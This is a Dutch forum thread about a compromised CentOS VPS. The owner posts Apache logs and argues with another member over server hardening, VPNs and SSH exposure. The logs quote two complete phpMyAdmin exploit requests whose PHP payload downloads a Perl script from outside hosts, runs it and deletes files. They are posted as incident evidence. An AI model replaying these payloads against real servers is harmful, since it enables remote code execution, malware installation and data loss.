Sando schreef op vrijdag 24 februari 2012 @ 16:58:
Wat een bende. Het is even zoeken maar het eerste wat me opvalt is dit:

code:

121.14.241.135 - - [21/Feb/2012:04:44:21 +0300] "GET /w00tw00t.at.blackhats.romanian.anti-sec:) HTTP/1.1" 404 318 "-" "ZmEu"
121.14.241.135 - - [21/Feb/2012:04:44:21 +0300] "GET /w00tw00t.at.blackhats.romanian.anti-sec:) HTTP/1.1" 404 318 "-" "ZmEu"

met daarna 1000 phpmyadmin probes.

Dat gebeurde vaker, en deze hadden de juiste phpMyAdmin te pakken en probeerden iets:

code:

95.163.69.78 - - [22/Feb/2012:20:28:18 +0300] "GET /pma/index.php?session_to_unset=123&token=e3cacc34c86f28431290267e343f8c28&_SESSION[!bla]=%7Cxxx%7Ca%3A1%3A%7Bi%3A0%3BO%3A10%3A%22PMA_Config%22%3A1%3A%7Bs%3A6%3A%22source%22%3Bs%3A58%3A%22%2Fvar%2Flib%2Fphp%2Fsession%2Fsess_a33m9m2t03s5vaeu8b21p3u7cae2r5uf%22%3B%7D%7D&_SESSION\[payload]=%3C%3Fphp+%0Aecho+exec%28%27cd+%2Ftmp%3Bwget+http%3A%2F%2Fnyck.altervista.org%2Fapache_32.png%3Bmv+apache_32.png+p.txt%3Bperl+p.txt%3Brm+-rf+%2A%27%29%3B%0Aecho+exec%28%27cd+%2Ftmp%3Bcurl+-O+http%3A%2F%2Fnyck.altervista.org%2Fapache_32.png%3Bmv+apache_32.png+p.txt%3Bperl+p.txt%3Brm+-rf+%2A%27%29%3B%0Aecho+exec%28%27cd+%2Ftmp%3Bfetch+http%3A%2F%2Fnyck.altervista.org%2Fapache_32.png%3Bmv+apache_32.png+p.txt%3Bperl+p.txt%3Brm+-rf+%2A%27%29%3B%0Aecho+exec%28%27cd+%2Ftmp%3Blwp-download+http%3A%2F%2Fnyck.altervista.org%2Fapache_32.png%3Bmv+apache_32.png+p.txt%3Bperl+p.txt%3Brm+-rf+%2A%27%29%3B%0Aecho+exec%28%27cd+%2Ftmp%3Blynx+-DUMP+http%3A%2F%2Fnyck.altervista.org%2Fapache_32.png+%3Ep.txt%3Bperl+p.txt%3Brm+-rf+%2A%27%29%3B%0A%0Aecho+passthru%28%27cd+%2Ftmp%3Bwget+http%3A%2F%2Fnyck.altervista.org%2Fapache_32.png%3Bmv+apache_32.png+p.txt%3Bperl+p.txt%3Brm+-rf+%2A%27%29%3B%0Aecho+passthru%28%27cd+%2Ftmp%3Bcurl+-O+http%3A%2F%2Fnyck.altervista.org%2Fapache_32.png%3Bmv+apache_32.png+p.txt%3Bperl+p.txt%3Brm+-rf+%2A%27%29%3B%0Aecho+passthru%28%27cd+%2Ftmp%3Bfetch+http%3A%2F%2Fnyck.altervista.org%2Fapache_32.png%3Bmv+apache_32.png+p.txt%3Bperl+p.txt%3Brm+-rf+%2A%27%29%3B%0Aecho+passthru%28%27cd+%2Ftmp%3Blwp-download+http%3A%2F%2Fnyck.altervista.org%2Fapache_32.png%3Bmv+apache_32.png+p.txt%3Bperl+p.txt%3Brm+-rf+%2A%27%29%3B%0Aecho+passthru%28%27cd+%2Ftmp%3Blynx+-DUMP+http%3A%2F%2Fnyck.altervista.org%2Fapache_32.png+%3Ep.txt%3Bperl+p.txt%3Brm+-rf+%2A%27%29%3B%0A%0Aecho+system%28%27cd+%2Ftmp%3Bwget+http%3A%2F%2Fnyck.altervista.org%2Fapache_32.png%3Bmv+apache_32.png+p.txt%3Bperl+p.txt%3Brm+-rf+%2A%27%29%3B%0Aecho+system%28%27cd+%2Ftmp%3Bcurl+-O+http%3A%2F%2Fnyck.altervista.org%2Fapache_32.png%3Bmv+apache_32.png+p.txt%3Bperl+p.txt%3Brm+-rf+%2A%27%29%3B%0Aecho+system%28%27cd+%2Ftmp%3Bfetch+http%3A%2F%2Fnyck.altervista.org%2Fapache_32.png%3Bmv+apache_32.png+p.txt%3Bperl+p.txt%3Brm+-rf+%2A%27%29%3B%0Aecho+system%28%27cd+%2Ftmp%3Blwp-download+http%3A%2F%2Fnyck.altervista.org%2Fapache_32.png%3Bmv+apache_32.png+p.txt%3Bperl+p.txt%3Brm+-rf+%2A%27%29%3B%0Aecho+system%28%27cd+%2Ftmp%3Blynx+-DUMP+http%3A%2F%2Fnyck.altervista.org%2Fapache_32.png+%3Ep.txt%3Bperl+p.txt%3Brm+-rf+%2A%27%29%3B%0A%0Aecho+shell_exec%28%27cd+%2Ftmp%3Bwget+http%3A%2F%2Fnyck.altervista.org%2Fapache_32.png%3Bmv+apache_32.png+p.txt%3Bperl+p.txt%3Brm+-rf+%2A%27%29%3B%0Aecho+shell_exec%28%27cd+%2Ftmp%3Bcurl+-O+http%3A%2F%2Fnyck.altervista.org%2Fapache_32.png%3Bmv+apache_32.png+p.txt%3Bperl+p.txt%3Brm+-rf+%2A%27%29%3B%0Aecho+shell_exec%28%27cd+%2Ftmp%3Bfetch+http%3A%2F%2Fnyck.altervista.org%2Fapache_32.png%3Bmv+apache_32.png+p.txt%3Bperl+p.txt%3Brm+-rf+%2A%27%29%3B%0Aecho+shell_exec%28%27cd+%2Ftmp%3Blwp-download+http%3A%2F%2Fnyck.altervista.org%2Fapache_32.png%3Bmv+apache_32.png+p.txt%3Bperl+p.txt%3Brm+-rf+%2A%27%29%3B%0Aecho+shell_exec%28%27cd+%2Ftmp%3Blynx+-DUMP+http%3A%2F%2Fnyck.altervista.org%2Fapache_32.png+%3Ep.txt%3Bperl+p.txt%3Brm+-rf+%2A%27%29%3B%0A%0A%0A%3F%3E HTTP/1.1" 200 - "http://184.82.187.176/pma/index.php" "Mozilla/5.0 (Windows; U; Windows NT 6.0; pl; rv:1.9.1.8) Gecko/20100202 Firefox/3.5.8"

code:

62.149.12.62 - - [21/Feb/2012:10:56:38 +0300] "GET /pma/index.php?session_to_unset=123&token=62db04d1c30d4ee5be46f36aec9cae08&_SESSION[!bla]=%7Cxxx%7Ca%3A1%3A%7Bi%3A0%3BO%3A10%3A%22PMA_Config%22%3A1%3A%7Bs%3A6%3A%22source%22%3Bs%3A58%3A%22%2Fvar%2Flib%2Fphp%2Fsession%2Fsess_3j1a5b8cdjs2lqt9mb3mhq06uq5u86i0%22%3B%7D%7D&_SESSION\[payload]=%3C%3Fphp%0Aecho+exec%28%27cd+%2Ftmp%3Bwget+http%3A%2F%2F199.115.228.9%2Fvp.txt%3Bmv+vp.txt+phpinfo.php%3Bperl+phpinfo.php%3Brm+-rf+%2A.php+%2Atem%27%29%3B%0Aecho+exec%28%27cd+%2Ftmp%3Bcurl+-O++http%3A%2F%2F199.115.228.9%2Fvp.txt%3Bmv+vp.txt+phpinfo.php%3Bperl+phpinfo.php%3Brm+-rf+%2A.php+%2Atem%27%29%3B%0Aecho+exec%28%27cd+%2Ftmp%3Bfetch++http%3A%2F%2F199.115.228.9%2Fvp.txt%3Bmv+vp.txt+phpinfo.php%3Bperl+phpinfo.php%3Brm+-rf+%2A.php+%2Atem%27%29%3B%0Aecho+exec%28%27cd+%2Ftmp%3Blwp-download++http%3A%2F%2F199.115.228.9%2Fvp.txt%3Bmv+vp.txt+phpinfo.php%3Bperl+phpinfo.php%3Brm+-rf+%2A.php+%2Atem%27%29%3B%0Aecho+exec%28%27cd+%2Ftmp%3Blynx+-DUMP++http%3A%2F%2F199.115.228.9%2Fvp.txt+%3Ephpinfo.php%3Bperl+phpinfo.php%3Brm+-rf+%2A.php+%2Atem%27%29%3B%0A%0Aecho+passthru%28%27cd+%2Ftmp%3Bwget++http%3A%2F%2F199.115.228.9%2Fvp.txt%3Bmv+vp.txt+phpinfo.php%3Bperl+phpinfo.php%3Brm+-rf+%2A.php+%2Atem%27%29%3B%0Aecho+passthru%28%27cd+%2Ftmp%3Bcurl+-O++http%3A%2F%2F199.115.228.9%2Fvp.txt%3Bmv+vp.txt+phpinfo.php%3Bperl+phpinfo.php%3Brm+-rf+%2A.php+%2Atem%27%29%3B%0Aecho+passthru%28%27cd+%2Ftmp%3Bfetch++http%3A%2F%2F199.115.228.9%2Fvp.txt%3Bmv+vp.txt+phpinfo.php%3Bperl+phpinfo.php%3Brm+-rf+%2A.php+%2Atem%27%29%3B%0Aecho+passthru%28%27cd+%2Ftmp%3Blwp-download++http%3A%2F%2F199.115.228.9%2Fvp.txt%3Bmv+vp.txt+phpinfo.php%3Bperl+phpinfo.php%3Brm+-rf+%2A.php+%2Atem%27%29%3B%0Aecho+passthru%28%27cd+%2Ftmp%3Blynx+-DUMP++http%3A%2F%2F199.115.228.9%2Fvp.txt+%3Ephpinfo.php%3Bperl+phpinfo.php%3Brm+-rf+%2A.php+%2Atem%27%29%3B%0A%0Aecho+system%28%27cd+%2Ftmp%3Bwget++http%3A%2F%2F199.115.228.9%2Fvp.txt%3Bmv+vp.txt+phpinfo.php%3Bperl+phpinfo.php%3Brm+-rf+%2A.php+%2Atem%27%29%3B%0Aecho+system%28%27cd+%2Ftmp%3Bcurl+-O++http%3A%2F%2F199.115.228.9%2Fvp.txt%3Bmv+vp.txt+phpinfo.php%3Bperl+phpinfo.php%3Brm+-rf+%2A.php+%2Atem%27%29%3B%0Aecho+system%28%27cd+%2Ftmp%3Bfetch++http%3A%2F%2F199.115.228.9%2Fvp.txt%3Bmv+vp.txt+phpinfo.php%3Bperl+phpinfo.php%3Brm+-rf+%2A.php+%2Atem%27%29%3B%0Aecho+system%28%27cd+%2Ftmp%3Blwp-download++http%3A%2F%2F199.115.228.9%2Fvp.txt%3Bmv+vp.txt+phpinfo.php%3Bperl+phpinfo.php%3Brm+-rf+%2A.php+%2Atem%27%29%3B%0Aecho+system%28%27cd+%2Ftmp%3Blynx+-DUMP++http%3A%2F%2F199.115.228.9%2Fvp.txt+%3Ephpinfo.php%3Bperl+phpinfo.php%3Brm+-rf+%2A.php+%2Atem%27%29%3B%0A%0Aecho+shell_exec%28%27cd+%2Ftmp%3Bwget++http%3A%2F%2F199.115.228.9%2Fvp.txt%3Bmv+vp.txt+phpinfo.php%3Bperl+phpinfo.php%3Brm+-rf+%2A.php+%2Atem%27%29%3B%0Aecho+shell_exec%28%27cd+%2Ftmp%3Bcurl+-O++http%3A%2F%2F199.115.228.9%2Fvp.txt%3Bmv+vp.txt+phpinfo.php%3Bperl+phpinfo.php%3Brm+-rf+%2A.php+%2Atem%27%29%3B%0Aecho+shell_exec%28%27cd+%2Ftmp%3Bfetch++http%3A%2F%2F199.115.228.9%2Fvp.txt%3Bmv+vp.txt+phpinfo.php%3Bperl+phpinfo.php%3Brm+-rf+%2A.php+%2Atem%27%29%3B%0Aecho+shell_exec%28%27cd+%2Ftmp%3Blwp-download++http%3A%2F%2F199.115.228.9%2Fvp.txt%3Bmv+vp.txt+phpinfo.php%3Bperl+phpinfo.php%3Brm+-rf+%2A.php+%2Atem%27%29%3B%0Aecho+shell_exec%28%27cd+%2Ftmp%3Blynx+-DUMP++http%3A%2F%2F199.115.228.9%2Fvp.txt+%3Ephpinfo.php%3Bperl+phpinfo.php%3Brm+-rf+%2A.php+%2Atem%27%29%3B%0A%0A%0A%3F%3E HTTP/1.1" 200 40619 "http://184.82.187.186/pma/index.php" "Mozilla/5.0 (Windows; U; Windows NT 6.0; pl; rv:1.9.1.8) Gecko/20100202 Firefox/3.5.8"

---

Anyway, na fail2ban en denyhosts en PasswordAuthentication no kan ik niet meer inloggen via ssh of de controlpanel terminal, ookal zit ik op de computer met certificaten. Ook niet meer via FTP. Volgens mij moet ik mijn VM nuken, er zit niets anders op. En toch wat conservatiever zijn met beveiligingsopties, want hoe graag ik het ook wil, als je niet 100% exact weet wat je doet krijg je dit en heb je jezelf buiten gesloten.

Permission denied (publickey,gssapi-with-mic).

Zoals ik al heel lang terug zei, Your system was compromised and CANNOT be trusted anymore.
Je had toen al in moeten grijpen eerlijk gezegd, en een reinstall moeten doen.
Zoals ik al zei, weet ik zeker dat er op jouw systeem gewoon een aparte SSHD draaide, zij het onder een andere naam verstopt.
Tip voor het analyseren van je logs : Logwatch

[Sando]

Ja ik wilde alleen een backup maken en een reinstall doen, maar ik was zo goedgelovig om te denken dat ik die security measures zonder straf kon invoeren zodat ik tijdens het bladeren en backuppen niet nog meer problemen kreeg. Maar toen had ik mezelf dus buiten gesloten. Inmiddels heb ik de VPS ook al uitgezet en wacht ik tot ze reageren op mijn vraag naar de mogelijkheden van een backup. Dat wordt uiteraard pas maandag. Eigenlijk hoef ik alleen maar een kopie van mijn config en database, maar ik zal wel een hd image krijgen van 80 GB.

Ik ga uit van een XSS code injectie bij phpMyAdmin. Ik doe niet elke dag updates. Ik gebruik dat ding niet eens elke dag. Het zou makkelijker zijn als security updates gewoon automatisch installeerden zoals in Ubuntu. Maar dit is CentOS. Kan vast ook wel, maar ik kreeg de optie bij de installatie niet 'gewoon' aangeboden.

[CrankyGamerOG]

Sando schreef op vrijdag 24 februari 2012 @ 19:22:
Ja ik wilde alleen een backup maken en een reinstall doen, maar ik was zo goedgelovig om te denken dat ik die security measures zonder straf kon invoeren zodat ik tijdens het bladeren en backuppen niet nog meer problemen kreeg. Maar toen had ik mezelf dus buiten gesloten. Inmiddels heb ik de VPS ook al uitgezet en wacht ik tot ze reageren op mijn vraag naar de mogelijkheden van een backup. Dat wordt uiteraard pas maandag. Eigenlijk hoef ik alleen maar een kopie van mijn config en database, maar ik zal wel een hd image krijgen van 80 GB.

Ik ga uit van een XSS code injectie bij phpMyAdmin. Ik doe niet elke dag updates. Ik gebruik dat ding niet eens elke dag. Het zou makkelijker zijn als security updates gewoon automatisch installeerden zoals in Ubuntu. Maar dit is CentOS. Kan vast ook wel, maar ik kreeg de optie bij de installatie niet 'gewoon' aangeboden.

Redsandro, begrijp me niet verkeerd, en do not take this the wrong way.
Maar door mensen zoals jij is het internet ook zo'n puinzooi.....
Je kan, nee MAG, mijns inziens geen server op het internet hangen als je deze niet actief : 1. monitored 2. beheerd.
En al helemaal niet een machine die met verschillende webtoegang werkt.
Waarom heb je bijvoorbeeld de toegang tot die webapps niet gelimit tot jouw ip? en als je dan aankomt met ja, maar mijn mobiel dan?, geen excuus, daar had je een vpn voor kunnen installeren op die machine.
Zoek dan andere oplossingen voor je probleem die niet aan het internet hoeven te hangen als je niet weet wat je precies doet.

Ik begrijp het doel wel, maar het ligt in mijn aard als netwerkman om hiervan te gruwelen..... nofi

ik quote nogmaals mijn post op 1 Februari

Laat ik het zo zeggen, als er een rootkit is gebruikt om binnen te komen , is die allang weer opgeruimd en zijn willekeurige binaries(denk aan een gemodificeerde "ls", of een verstopte sshd onder een andere naam) aangepast. Daar kom je never ever ever meer achter(zonder dat het veel tijd kost).
Een goeie hacker ruimt juist niet de failed pogingen op naar mijn mening, je kan beredeneren dat zonder enige failed entry's het JUIST suspicious is.

Hier had je al wakker van moeten worden en in moeten grijpen.

Nogmaals, vat dit niet persoonlijk op, want je bent echt niet de enigste

[ Voor 27% gewijzigd door CrankyGamerOG op 24-02-2012 19:30 ]

[Sando]

Nou, dankjewel voor je goed bedoelde afzijkwoorden en bijhorende vooroordelen over wat ik op het internet te zoeken heb.

Ik zou eerder willen stellen dat het internet een puinzooi is door alle hackers en lijers die de boel proben en hacken. Wat voor een lol is daar nu aan? Maar goed, c'est ca.

Daarnaast, met jouw instelling wordt het de rest van de wereld, mensen zoals ik, onmogelijk geacht om te leren en ervaring op te doen.

Maargoed, je hebt je mening gegeven. Laten we het daarbij laten. Ik zie dat je dit incident zeker en vast verbind met het eerdere incident op mijn eigen HTPC. Zijn er geen detectietools om een verborgen sshd te vinden? Ik denk namelijk niet dat deze er is, maar ik zou het natuurlijk graag even verifieren. ClamAV zegt iig niets.

-edit-
Dit bericht was van voor je edit

[ Voor 3% gewijzigd door Sando op 24-02-2012 19:37 ]

[CrankyGamerOG]

Sando schreef op vrijdag 24 februari 2012 @ 19:36:
Nou, dankjewel voor je goed bedoelde afzijkwoorden en bijhorende vooroordelen over wat ik op het internet te zoeken heb.

Nee , kijk hier was ik al bang voor, vandaar ook meerdere malen dat ik aangeef, dat het NIET persoonlijk bedoeld is.
Ik zeg het nogmaals, het is niet persoonlijk bedoeld, en ik vind ook , dat ik hieronder elk punt van jou onderbouwd onderuit haal.
Ik zeg nergens dat jij niets op internet te zoeken hebt, ik heb het over een server of services op internet te zetten zonder te weten wat je doet.

Ik zou eerder willen stellen dat het internet een puinzooi is door alle hackers en lijers die de boel proben en hacken. Wat voor een lol is daar nu aan? Maar goed, c'est ca.

Hackers pakken jouw systeem niet of niet om jou te kloten iig.
Leer het verschil tussen hackers/crackers/scriptkiddies etc.

Daarnaast, met jouw instelling wordt het de rest van de wereld, mensen zoals ik, onmogelijk geacht om te leren en ervaring op te doen.

Ervaring opdoen doe je in een sandbox omgeving niet live !

Maargoed, je hebt je mening gegeven. Laten we het daarbij laten. Ik zie dat je dit incident zeker en vast verbind met het eerdere incident op mijn eigen HTPC. Zijn er geen detectietools om een verborgen sshd te vinden? Ik denk namelijk niet dat deze er is, maar ik zou het natuurlijk graag even verifieren. ClamAV zegt iig niets.

Je snapt toch ook zelf wel dat als er verschillende binaries aangepast zijn , ze ook de output kunnen beinvloeden van je systeem?
Het punt is, je weet niet wat er aangepast is, en daar zul je ook nooit achterkomen, althans, ik zou hem offline trekken, en hem helemaal gaan disecten.

Leg mij nou eens uit wat jou verstandig leek op het beschikbaar stellen van je NAS inclusief allerlei verschillende webtoegang aan de hele wereld?

Precies die is er natuurlijk eigenlijk geen, tip voor de toekomst , knal openvpn op je nas, en laat alleen nog maar ssh etc toe vanaf de vpn en enkele vooruit gedefineerde ip adressen.
Dan kun je altijd met je phone via vpn om in te loggen.
Natuurlijk is ook dat niet zaligmakend, maar zo verhoog je wel de barriere weer een stuk.

[ Voor 45% gewijzigd door CrankyGamerOG op 24-02-2012 19:52 ]

[Sando]

Ik lees dat je zegt dat het niet persoonlijk is, maar het is toch best op de man af met behoorlijk wat negatieve aannames> Je weet niet wat je doet; door mensen als jij is internet een puinhoop; doe iets zonder internet, en dan een tikje neerbuigend als je had dit moeten doen; zoals ik al eerder zei.

Tuurlijk weet ik wat ik doe. Ik ben developer.

Wat ik niet weet is dat een service die wordt aangeboden out of the box totaal onbetrouwbaar is. Dat standaardinstellingen belachelijk zijn. Dat een tutorial over met keys werken ipv wachtwoorden op de CentOS forums juist een slecht idee is. Dat soort dingen leer je ook echt in een sandbox. Kom op man, ik stel hulp op prijs, maar captain hindsight en 'blijf maar af' stel ik inderdaad ook als het niet persoonlijk is niet echt op prijs.

Daarnaast is het verschil tussen hackers/crackers me duidelijk: Een totaal fictieve scheiding die alleen bepaalde mannetjes maken. De rest van de wereld, zoals ik, mijn collega's, en Tweakers.net (zie de discussie onder elk nieuwsitem waar over hackers wordt gesproken) gebruiken gewoon het woord wat er voor die mensen is: hackers.

-edit-
reactie getiept voor jouw edit

[CrankyGamerOG]

Sando schreef op vrijdag 24 februari 2012 @ 19:53:
Ik lees dat je zegt dat het niet persoonlijk is, maar het is toch best op de man af met behoorlijk wat negatieve aannames> Je weet niet wat je doet; door mensen als jij is internet een puinhoop; doe iets zonder internet, en dan een tikje neerbuigend als je had dit moeten doen; zoals ik al eerder zei.

Het ligt aan mijn persoonlijkheid dat ik wellicht neerbuigend overkom, nogmaals ik bedoel het niet zo, maar jij onderschat de ernst van wat je aan het doen bent.

Tuurlijk weet ik wat ik doe. Ik ben developer.

uh uh, jij bent een developer, geen netwerkbeheerder/systeembeheerder.
Daar gaat het dan ook fout, schoenmaker blijft bij je leest.

Wat ik niet weet is dat een service die wordt aangeboden out of the box totaal onbetrouwbaar is.

Common sense? Noem mij eens 1 product op wat 100% veilig is?

Dat standaardinstellingen belachelijk zijn. Dat een tutorial over met keys werken ipv wachtwoorden op de CentOS forums juist een slecht idee is.

Tutorials worden soms ook geschreven door mensen die niet weten wat ze doen.
De key is om de juiste tuts te vinden.

Kom op man, ik stel hulp op prijs, maar captain hindsight en 'blijf maar af' stel ik inderdaad ook als het niet persoonlijk is niet echt op prijs.

Hindsight? nee niks hindsight, eerder voorspellend.
Op 1 Februari heb ik het je nog gezegd, en 23 Februari was het loos, hoe is dat dan cpt hindsight?

Nogmaals, ik wil je niet denigreren, maar ik wil je denken mbt netwerken/servers meteen de enige juiste richting in duwen.

Daarnaast is het verschil tussen hackers/crackers me duidelijk: Een totaal fictieve scheiding die alleen bepaalde mannetjes maken. De rest van de wereld, zoals ik, mijn collega's, en Tweakers.net (zie de discussie onder elk nieuwsitem waar over hackers wordt gesproken) gebruiken gewoon het woord wat er voor die mensen is: hackers.

Laat een ding volstrekt helder zijn, er is wel degelijk een verschil.
Dus volgens jou, als de massa zegt dat het zo is dan is het zo?Je weet dat de grootste massa onwetend is?

[ Voor 59% gewijzigd door CrankyGamerOG op 24-02-2012 20:11 ]

[Sando]

reactie op je edit voor mijn vorige bericht:

Je snapt toch ook zelf wel dat als er verschillende binaries aangepast zijn , ze ook de output kunnen beinvloeden van je systeem?

Serieus? Die moeite? Een NAS met wat foto's en filmpjes? Daar waar Linux 1% van de markt heeft? Wordt ik serieus nog heftiger gehackt dan het pentagon?

Leg mij nou eens uit wat jou verstandig leek op het beschikbaar stellen van je NAS inclusief allerlei verschillende webtoegang aan de hele wereld?

Ik wilde mijn NAS op afstand kunnen bedienen en dat is heel normaal, en ik was in de veronderstelling dat het veilig was om dat met de daarvoor aangewezen packages te doen, in het oh zo veilige linux. Om het op jouw manier te stellen is erg flauw; je haalt het duisterste scenario naar boven en draait het om alsof dat mijn intentie was, om me daarop te pakken.

knal openvpn op je nas, en laat alleen nog maar ssh etc toe vanaf de vpn en enkele vooruit gedefineerde ip adressen.

Dat laatste is natuurlijk geen optie voor mensen die veel on the road zijn. Maar waarom is inloggen via OpenVPN wel veilig en SSH niet? Ssh zou juist veilig moeten zijn. Ssh wordt gebruikt om vanalles in te pakken omdat het juist veilig is. Vanalles en nogwat tunnelen we over SSH. Allerlei remote desktop apps werken met SSH. Denk aan No!Machine. Denk aan X2go.

Je loopt iets verder richting paranoya dan ik met je mee wil lopen.

---

Laat trouwens duidelijk zijn dat ik het met CAPSLOCK2000's eerdere berichten eens ben, dat ik denk dat er helemaal niks met mijn NAS aan de hand is, dat ik het waarschijnlijk zelf heb verprutst, en dat de hack van mijn VPS helemaal niks met het eerdere probleem met mijn NAS te maken heeft.

Daarom ga ik niet de boel herinstalleren, maar je hebt genoeg punten aan weten te stippen waardoor ik best verder wil onderzoeken of mijn NAS compromised is. Wat me sterk lijkt.

Ik kan me niet voorstellen dat ik niet kan achterhalen of er iets meedraait. Er zou netwerkverkeer vanaf moeten komen, en dat zou ik moeten kunnen zien.

[Sando]

CrankyGamerOG schreef op vrijdag 24 februari 2012 @ 20:00:
Common sense? Noem mij eens 1 product op wat 100% veilig is?

Alweer, dat zeg ik niet.

Een auto en een fiets gebruik ik ook out of the box. Niks is 100% veilig, maar soms ga je er van uit dat de mensen die er mee werken het het beste weten. Jij gaat toch ook niet de print van je electrische vliegenmepper hersolderen omdat het misschien niet veilig is, of anders maar niet de vliegenmepper gebruiken omdat je niet weet wat je aan het doen bent?

Hindsight? nee niks hindsight, eerder voorspellend.
Op 1 Februari heb ik het je nog gezegd, en 23 Februari was het loos, hoe is dat dan cpt hindsight?

Op 1 feb. zei je inderdaad iets waar ik het nog steeds niet mee eens ben en wat voor mijn gevoel niets te maken heeft met de hack van 21 februari waar ik op 23 februari achter kwam.

Hindsight sloeg dan ook op [quote van iets waar ik het niet mee eens ben] > hier had je in moeten grijpen. als reactie op een hack ergens anders 3 weken later.

Als ik er nu achter kom dat je toch gelijk had, dan weet ik alleen niet of ik het nog durf te vertellen.

Nogmaals, ik wil je niet denigreren, maar ik wil je denken mbt netwerken/servers meteen de enige juiste richting in duwen.

Hoewel het een toontje aardiger kan voor mijn gevoel, stel ik dat dan weer wel op prijs.

[ Voor 15% gewijzigd door Sando op 24-02-2012 20:17 ]

[CrankyGamerOG]

Sando schreef op vrijdag 24 februari 2012 @ 20:10:
reactie op je edit voor mijn vorige bericht:
Serieus? Die moeite? Een NAS met wat foto's en filmpjes? Daar waar Linux 1% van de markt heeft? Wordt ik serieus nog heftiger gehackt dan het pentagon?

Je weet toch? iets met e-penis en scriptkiddies en zombienetwerken enzo?
Geloof me genoeg kut pubertjes die niets anders te doen hebben dan dit soort dingen hoor, miljoenen ervan zelfs.
En moeite, nee hoor, die lekke software hoeven ze niet te zoeken, daar hebben ze genoeg scripts voor.
Hence the name.

Ik wilde mijn NAS op afstand kunnen bedienen en dat is heel normaal, en ik was in de veronderstelling dat het veilig was om dat met de daarvoor aangewezen packages te doen, in het oh zo veilige linux. Om het op jouw manier te stellen is erg flauw; je haalt het duisterste scenario naar boven en draait het om alsof dat mijn intentie was, om me daarop te pakken.

Je haalt nu linux onderuit met een naar mijn mening domme opmerking hoor.
Dus de software is het schuld dat linux niet veilig is?
Nee, ik wil je niet pakken, maar nogmaals, waarom een webapplicatie aan de hele wereld beschikbaar stellen als die alleen maar voor jou bedoeld is?
Daar heb ik je nog niet op in horen gaan.

Dat laatste is natuurlijk geen optie voor mensen die veel on the road zijn. Maar waarom is inloggen via OpenVPN wel veilig en SSH niet? Ssh zou juist veilig moeten zijn. Ssh wordt gebruikt om vanalles in te pakken omdat het juist veilig is. Vanalles en nogwat tunnelen we over SSH. Allerlei remote desktop apps werken met SSH. Denk aan No!Machine. Denk aan X2go.

Je haalt nu ook wat dingen door elkaar, en dat is mijn schuld sorry.
VPN bedoelde ik ook hoofdzakelijk voor je webapps, laat op je apache alleen verkeer vanaf je vpn toe.
Of gebruik iptables om uberhaupt al het verkeer te weren behalve wat jij wilt.(policy DROP).
SSH is ook redelijk veilig, mits goed gebruikt, maar ook niet 100% .

Maar dan nog, is de kans 100x groter dat je genaaid bent geworden door een scriptkiddie die een exploit heeft gebruikt op je phpMyAdmin (zoals je al dacht).
En zo vanalles heeft kunnen kloten.
Maar weer, waarom phpMyAdmin aan de hele wereld beschikbaar stellen?


Weet je trouwens zo of je vanaf je NAS weleens naar je VPS sshde?

Je loopt iets verder richting paranoya dan ik met je mee wil lopen.

Sorry dat is mijn persoonlijkheid, en mijn kijk op netwerken/servers.
Nogmaals geen persoonlijke aanval op jou.

Laat trouwens duidelijk zijn dat ik het met CAPSLOCK2000's eerdere berichten eens ben, dat ik denk dat er helemaal niks met mijn NAS aan de hand is, dat ik het waarschijnlijk zelf heb verprutst, en dat de hack van mijn VPS helemaal niks met het eerdere probleem met mijn NAS te maken heeft.

Daarom ga ik niet de boel herinstalleren, maar je hebt genoeg punten aan weten te stippen waardoor ik best verder wil onderzoeken of mijn NAS compromised is. Wat me sterk lijkt.

Ik kan me niet voorstellen dat ik niet kan achterhalen of er iets meedraait. Er zou netwerkverkeer vanaf moeten komen, en dat zou ik moeten kunnen zien.

Ik zeg ook niet dat het wel zo is, maar je hebt het ook nooit uitgesloten.

[ Voor 15% gewijzigd door CrankyGamerOG op 24-02-2012 20:32 ]

[Sando]

CrankyGamerOG schreef op vrijdag 24 februari 2012 @ 20:17:
Nee, ik wil je niet pakken, maar nogmaals, waarom een webapplicatie aan de hele wereld beschikbaar stellen als die alleen maar voor jou bedoeld is?
Daar heb ik je nog niet op in horen gaan.

Jawel, zoals ik zei , ik kan van te voren niet voorspellen waar ik ben, niet alle ip adressen waar ik ben beginnen automatisch met de R van Redsandro. En nogmaals, ik stelde het net zo min aan de hele wereld beschikbaar als mijn (of jouw) emailbox en tweakers-account voor de hele wereld beschikbaar zijn.

Ik zeg ook niet dat het wel zo is, maar je hebt het ook nooit uitgesloten.

Nee, en dat wil ik best proberen, maar ik ging/ga niet de hele boel herinstalleren voor iets wat vrij zeker mijn eigen fout was, op een computer waar vrij weinig nuttigs te vinden is.

[CrankyGamerOG]

Sando schreef op vrijdag 24 februari 2012 @ 20:22:


Jawel, zoals ik zei , ik kan van te voren niet voorspellen waar ik ben, niet alle ip adressen waar ik ben beginnen automatisch met de R van Redsandro.

Dat vang je dus af met een VPN

Nee, en dat wil ik best proberen, maar ik ging/ga niet de hele boel herinstalleren voor iets wat vrij zeker mijn eigen fout was, op een computer waar vrij weinig nuttigs te vinden is.

Dus je wilt de kans lopen dat , wanneer je de VPS nu laat herinstalleren, hij binnen een week weer staat te DoSS'en?

Maar goed, you get the picture denk ik, denk gewoon iets langer na voordat je dingen op internet beschikbaar stelt, dat is nooit verkeerd.
I now rest my case ......


* CrankyGamerOG walks away

[ Voor 15% gewijzigd door CrankyGamerOG op 24-02-2012 20:30 ]

[Sando]

Ik wil ook niet neerstorten met een vliegtuig of een auto-ongeluk krijgen, maar het leven is één en al inschatting.

Ik schat die kans danig klein dat mijn NAS hier iets mee te maken heeft dat ik inderdaad niet al die moeite in mijn NAS (of eigenlijk HTPC) wil steken want dat is nogal wat werk met al die tweaks en daar heb ik geen tijd voor en geen zin in. Bovendien wil ik in April of Mei naar de LTS van Ubuntu of Mint en dan moet ik ziezo al die moeite doen.

-edit-
Je hebt een edit-addictie.

Dat vang je dus af met een VPN

Of je nu inlogt op een VPN of een SSHD, het stelt allebei iets beschikbaar aan de wereld.

[ Voor 16% gewijzigd door Sando op 24-02-2012 21:43 ]

[magistus]

